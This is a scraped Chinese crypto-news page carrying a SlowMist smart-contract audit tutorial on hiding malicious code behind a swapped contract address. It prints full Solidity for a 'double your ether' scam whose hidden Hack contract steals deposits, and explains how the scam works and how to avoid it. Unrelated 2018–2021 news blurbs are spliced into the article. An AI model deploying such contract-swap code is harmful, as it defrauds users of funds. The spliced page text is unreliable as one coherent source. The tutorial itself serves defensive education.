以太坊交易所 以太坊交易所
Ctrl+D 以太坊交易所
ads
首頁 > PEPE > Info

智能合約安全審計入門篇 —— 移花接木_QUO:Whale Maker Fund

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

YieldShield通過執行定制智能合約優化DeFi挖礦收益:DeFi協議Yield Protocol發推稱,收益耕作(Yield Farming)需要在一個區塊鏈上進行多次交易,從而會產生數百美元的費用。其合作伙伴YieldShield建立一個允許Yield Farming的產品,將資金集中在一起,通過執行智能合約,從而實現安全分配。

據悉,YieldShield是第一個建立在Yield Protocol上的產品。YieldShield不是通過共享池,而是根據個人風險和收益偏好定制的智能合約為農民(Farmer)服務,實現收益最大化,同時防范風險。[2021/2/28 18:01:05]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

動態 | Placeholder合伙人Burniske建議將術語智能合約改為數字合約:加密貨幣風投機構 Placeholder 合伙人 Chris Burniske 建議將區塊鏈和加密貨幣領域中常用的概念“智能合約”改為更貼近真實情況的“數字合約”。他表示,并不是所有合約都是智能的,但都是數字化的,因為任何人都可以接受這個概念:我們正在進入一個數字化的時代。在他發表的建議之下,不少用戶認為這個建議是合理的,但也有用戶表示不認同,因為像智能手機或智能汽車的概念可以讓智能合約更像是 2019 年的術語,而數字化這個前綴聽起來有點像是90年代的術語。[2019/12/30]

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

動態 | 以太坊智能合約日均值同比減少28.25%:據第三方大數據評級機構RatingToken監測數據顯示,以太坊7日新增合約日均值1780個,較上期2481日均值同比減少28.25%?。此外,21日新增合約數1952,其中金字塔合約BestMultiplier流入ETH最多,流入超過1008 ETH;RatingToken溫馨提示,投資者參與金字塔合約應充分考慮其高風險。如需查看詳情,請點擊原文鏈接。[2018/11/22]

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

動態 | Change Healthcare與TIBCO合作計劃在醫療行業引入智能合約:據unhashed消息,美國醫療保健公司Change Healthcare正與軟件公司TIBCO合作,計劃通過區塊鏈技術在醫療行業引入智能合約,實現醫療和相關交易的自動化。[2018/11/6]

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

迪新財訊

Chainlink預言機

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

動態 | Augur智能合約部署及REP遷移:Augur的智能合約將部署到以太坊主網,并且REP遷移將于7月9日18:01(UTC)開始。REP如果存在于中心化交易所,用戶無需進行任何操作,Token在遷移時將被凍結。[2018/7/5]

Tags:BSPNBSQUOMAKEBSPAYnbs幣官網QuotientWhale Maker Fund

PEPE
Crypto做空大師GCR的30條交易心得_ETH:Tribalpunk cryptoverse

原文作者:VIKTOR GCR 是一個匿名交易員,他在 2021 年牛市爆紅,因為其對交易走勢似乎了如指掌.

1900/1/1 0:00:00
模式幣也講生態?全面解析XEN業務邏輯_DXN:GNFT幣

XEN起因 谷歌前21號員工提出了一種新的挖礦機制:參與證明(Proof of Participation),只需要提供ETH主網的gas費即可參與,可選擇挖礦時間,時間越長能夠提取的代幣越多.

1900/1/1 0:00:00
流支付:Web3 工具能否博取更大的敘事?_WEB:BEPSwap

流支付(Streaming Money)最早于 2016 年出現概念雛形:鏈上資金不再是以每隔一定時間區間被批量地轉賬(比如每月發放的工資、每年支付的會員費).

1900/1/1 0:00:00
一文梳理ParaSpace“內斗”大戲始末_PAC:SPACEDOGE

多位 KOL 紛紛發文預警 NFT 借貸協議 ParaSpace 團隊內部出現矛盾,并建議用戶盡快撤資.

1900/1/1 0:00:00
寫在Terra暴雷一年后:市場正在好轉 但仍難擺脫陰霾_穩定幣:trustwalletcrypto

3 月 23 日,Do Kwon 在黑山被批捕。去年 5 月,Do Kwon 一直被爆料曾試圖在 Luna 崩盤前逃離韓國,但其本人一直否認.

1900/1/1 0:00:00
Ledger惹眾怒?深挖背后真相_EDGE:EDG

作者:Jack Inabinet,Bankless;翻譯:金色財經0xxzLedger熬過了艱難的24小時.

1900/1/1 0:00:00
ads